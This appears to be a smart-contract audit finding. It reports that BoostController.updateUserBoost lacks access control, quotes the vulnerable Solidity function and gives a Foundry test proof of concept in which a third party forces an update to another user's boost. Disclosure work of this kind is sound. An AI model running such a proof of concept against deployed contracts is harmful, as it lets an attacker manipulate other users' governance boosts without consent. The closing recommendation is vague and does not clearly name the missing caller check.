Summary
By calling BoostController.updateUserBoost, attacker can force any user to delegate their boost to any given pool.
Vulnerability Details
BoostController.updateUserBoost updates the boost value for a user in a specific pool.
However, it doesn't check user's current delegated amount
function updateUserBoost(address user, address pool) external override nonReentrant whenNotPaused {
if (paused()) revert EmergencyPaused();
if (user == address(0)) revert InvalidPool();
if (!supportedPools[pool]) revert PoolNotSupported();
UserBoost storage userBoost = userBoosts[user][pool];
PoolBoost storage poolBoost = poolBoosts[pool];
uint256 oldBoost = userBoost.amount;
@> uint256 newBoost = _calculateBoost(user, pool, 10000);
@> userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}
poolBoost.workingSupply = newBoost;
poolBoost.lastUpdateTime = block.timestamp;
emit BoostUpdated(user, pool, newBoost);
emit PoolBoostUpdated(pool, poolBoost.totalBoost, poolBoost.workingSupply);
}
Since anyone can invoke this external function, this means attackers can force anyone to delegate boost to any pool.
POC
pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {BoostController} from "../contracts/core/governance/boost/BoostController.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockPool} from "../contracts/mocks/core/pools/MockPool.sol";
contract BoostControllerTest is Test {
veRAACToken veToken;
RAACToken raacToken;
BoostController boostController;
address pool;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address eve = makeAddr("eve");
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veToken));
pool = address(new MockPool());
boostController.modifySupportedPool(pool, true);
vm.label(pool, "pool");
}
function testForceDelegation() external {
assertEq(boostController.getWorkingBalance(alice, pool), 0);
_dealVeToken(alice, 1000e18);
vm.startPrank(eve);
boostController.updateUserBoost(alice, pool);
vm.stopPrank();
assertGt(boostController.getWorkingBalance(alice, pool), 0);
}
function _dealVeToken(address account, uint256 amount) internal {
if (amount == 0) {
return;
}
deal(address(raacToken), account, amount);
vm.startPrank(account);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, veToken.MAX_LOCK_DURATION());
vm.stopPrank();
}
}
Impact
Attacker can force any user to delegate boost to any pool
Tools Used
Manual Review
Recommendations
There should be some relation between oldBoostand newBoost.